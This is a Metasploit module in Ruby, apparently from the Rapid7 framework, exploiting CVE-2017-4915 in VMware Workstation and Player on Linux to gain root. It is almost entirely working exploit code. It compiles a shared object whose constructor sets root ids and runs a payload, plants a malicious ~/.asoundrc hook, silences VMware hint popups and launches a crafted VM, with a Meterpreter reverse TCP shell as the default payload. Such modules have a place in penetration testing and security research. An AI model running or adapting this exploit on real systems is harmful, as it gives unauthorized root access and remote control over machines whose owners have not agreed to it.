This Metasploit module exploits a vulnerability in VMware Workstation Pro and Player on Linux which allows users to escalate their privileges by using an ALSA configuration file to load and execute a shared object as root when launching a virtual machine with an attached sound card. This Metasploit module has been tested successfully on VMware Player version 12.5.0 on Debian Linux.
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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'VMware Workstation ALSA Config File Local Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in VMware Workstation Pro and
Player on Linux which allows users to escalate their privileges by
using an ALSA configuration file to load and execute a shared object
as root when launching a virtual machine with an attached sound card.
This module has been tested successfully on VMware Player version
12.5.0 on Debian Linux.
},
'References' =>
[
[ 'CVE', '2017-4915' ],
[ 'EDB', '42045' ],
[ 'BID', '98566' ],
[ 'URL', 'https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9' ],
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2017-0009.html' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1142' ]
],
'License' => MSF_LICENSE,
'Author' =>
[
'Jann Horn', # Discovery and PoC
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'DisclosureDate' => 'May 22 2017',
'Platform' => 'linux',
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' =>
{
'Payload' => 'linux/x64/meterpreter_reverse_tcp',
'WfsDelay' => 30,
'PrependFork' => true
},
'DefaultTarget' => 1,
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => true ))
register_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def has_prereqs?
vmplayer = cmd_exec 'which vmplayer'
if vmplayer.include? 'vmplayer'
vprint_good 'vmplayer is installed'
else
print_error 'vmplayer is not installed. Exploitation will fail.'
return false
end
gcc = cmd_exec 'which gcc'
if gcc.include? 'gcc'
vprint_good 'gcc is installed'
else
print_error 'gcc is not installed. Compiling will fail.'
return false
end
true
end
def check
unless has_prereqs?
print_error 'Target missing prerequisites'
return CheckCode::Safe
end
begin
config = read_file '/etc/vmware/config'
rescue
config = ''
end
if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/
@version = Gem::Version.new $1.gsub(/\.$/, '')
vprint_status "VMware is version #{@version}"
else
print_error "Could not determine VMware version."
return CheckCode::Unknown
end
if @version < Gem::Version.new('12.5.6')
print_good 'Target version is vulnerable'
return CheckCode::Vulnerable
end
print_error 'Target version is not vulnerable'
CheckCode::Safe
end
def exploit
if check == CheckCode::Safe
print_error 'Target machine is not vulnerable'
return
end
@home_dir = cmd_exec 'echo ${HOME}'
unless @home_dir
print_error "Could not find user's home directory"
return
end
@prefs_file = "#{@home_dir}/.vmware/preferences"
fname = ".#{rand_text_alphanumeric rand(10) + 5}"
@base_dir = "#{datastore['WritableDir']}/#{fname}"
cmd_exec "mkdir #{@base_dir}"
so = %Q^
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142
Original shared object code by jhorn
*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <err.h>
extern char *program_invocation_short_name;
__attribute__((constructor)) void run(void) {
uid_t ruid, euid, suid;
if (getresuid(&ruid, &euid, &suid))
err(1, "getresuid");
if (ruid == 0 || euid == 0 || suid == 0) {
if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
err(1, "setresxid");
system("#{@base_dir}/#{fname}.elf");
_exit(0);
}
}
^
vprint_status "Writing #{@base_dir}/#{fname}.c"
write_file "#{@base_dir}/#{fname}.c", so
vprint_status "Compiling #{@base_dir}/#{fname}.o"
output = cmd_exec "gcc -fPIC -shared -o #{@base_dir}/#{fname}.so #{@base_dir}/#{fname}.c -Wall -ldl -std=gnu99"
unless output == ''
print_error "Compilation failed: #{output}"
return
end
vmx = %Q|
.encoding = "UTF-8"
config.version = "8"
virtualHW.version = "8"
scsi0.present = "FALSE"
memsize = "4"
ide0:0.present = "FALSE"
sound.present = "TRUE"
sound.fileName = "-1"
sound.autodetect = "TRUE"
vmci0.present = "FALSE"
hpet0.present = "FALSE"
displayName = "#{fname}"
guestOS = "other"
nvram = "#{fname}.nvram"
virtualHW.productCompatibility = "hosted"
gui.exitOnCLIHLT = "FALSE"
powerType.powerOff = "soft"
powerType.powerOn = "soft"
powerType.suspend = "soft"
powerType.reset = "soft"
floppy0.present = "FALSE"
monitor_control.disable_longmode = 1
|
vprint_status "Writing #{@base_dir}/#{fname}.vmx"
write_file "#{@base_dir}/#{fname}.vmx", vmx
vprint_status "Writing #{@base_dir}/#{fname}.elf"
write_file "#{@base_dir}/#{fname}.elf", generate_payload_exe
vprint_status "Setting #{@base_dir}/#{fname}.elf executable"
cmd_exec "chmod +x #{@base_dir}/#{fname}.elf"
asoundrc = %Q|
hook_func.pulse_load_if_running {
lib "#{@base_dir}/#{fname}.so"
func "conf_pulse_hook_load_if_running"
}
|
vprint_status "Writing #{@home_dir}/.asoundrc"
write_file "#{@home_dir}/.asoundrc", asoundrc
vprint_status 'Disabling VMware hint popups'
unless directory? "#{@home_dir}/.vmware"
cmd_exec "mkdir #{@home_dir}/.vmware"
@remove_prefs_dir = true
end
if file? @prefs_file
begin
prefs = read_file @prefs_file
rescue
prefs = ''
end
end
if prefs.blank?
prefs = ".encoding = \"UTF8\"\n"
prefs << "pref.vmplayer.firstRunDismissedVersion = \"999\"\n"
prefs << "hints.hideAll = \"TRUE\"\n"
@remove_prefs_file = true
elsif prefs =~ /hints\.hideAll/i
prefs.gsub!(/hints\.hideAll.*$/i, 'hints.hideAll = "TRUE"')
else
prefs.sub!(/\n?\z/, "\nhints.hideAll = \"TRUE\"\n")
end
vprint_status "Writing #{@prefs_file}"
write_file "#{@prefs_file}", prefs
print_status 'Launching VMware Player...'
cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx"
end
def cleanup
print_status "Removing #{@base_dir} directory"
cmd_exec "rm '#{@base_dir}' -rf"
print_status "Removing #{@home_dir}/.asoundrc"
cmd_exec "rm '#{@home_dir}/.asoundrc'"
if @remove_prefs_dir
print_status "Removing #{@home_dir}/.vmware directory"
cmd_exec "rm '#{@home_dir}/.vmware' -rf"
elsif @remove_prefs_file
print_status "Removing #{@prefs_file}"
cmd_exec "rm '#{@prefs_file}' -rf"
end
end
def on_new_session(session)
# if we don't /bin/sh here, our payload times out
session.shell_command_token '/bin/sh'
super
end
end